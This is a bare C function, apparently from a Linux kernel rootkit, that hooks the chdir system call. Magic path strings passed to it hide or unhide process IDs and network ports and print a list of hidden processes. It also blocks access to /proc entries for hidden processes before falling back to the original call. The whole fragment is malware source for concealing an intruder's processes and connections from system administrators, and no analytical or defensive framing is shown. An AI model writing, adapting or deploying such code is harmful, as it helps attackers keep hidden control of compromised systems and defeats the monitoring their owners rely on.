int my_chdir (char *path) { char *ptr=NULL; int pid; int i; if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) { ptr = path + strlen (PROC_STRING); pid = my_atoi (ptr); if (pid > 0) { for (i=0; i<=MAX_HIDE_PIDS; i++) { if (hide_pids[i] != 0) { if (pid == hide_pids[i]) { return -1; } } } } } if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) { ptr = (char *)path + strlen (CHDIR_HIDE_PID); return hide_pid(my_atoi(ptr)); } else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) { ptr = (char *)path + strlen (CHDIR_UNHIDE_PID); return unhide_pid(my_atoi(ptr)); } else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) { char pidlist[32]; unsigned long mmm; struct task_struct *task; char *string; int i; mmm=current->mm->brk; org_brk((char*)mmm+32); string = (char *)mmm +2; for (i = 0; i <= MAX_HIDE_PIDS; i++) { if (hide_pids[i] != 0) { task = find_task_by_pid (hide_pids[i]); snprintf (pidlist, 32, "%d - %s\n", hide_pids[i], task->comm); copy_to_user (string, pidlist, strlen(pidlist)+1); org_write (1, string, strlen(string)+1); } } org_brk((char*)mmm); return 0; } else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) { ptr = (char *)path + strlen (CHDIR_HIDE_NET); return hide_port(my_atoi(ptr)); } else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) { ptr = (char *)path + strlen (CHDIR_UNHIDE_NET); return unhide_port(my_atoi(ptr)); } return org_chdir (path); }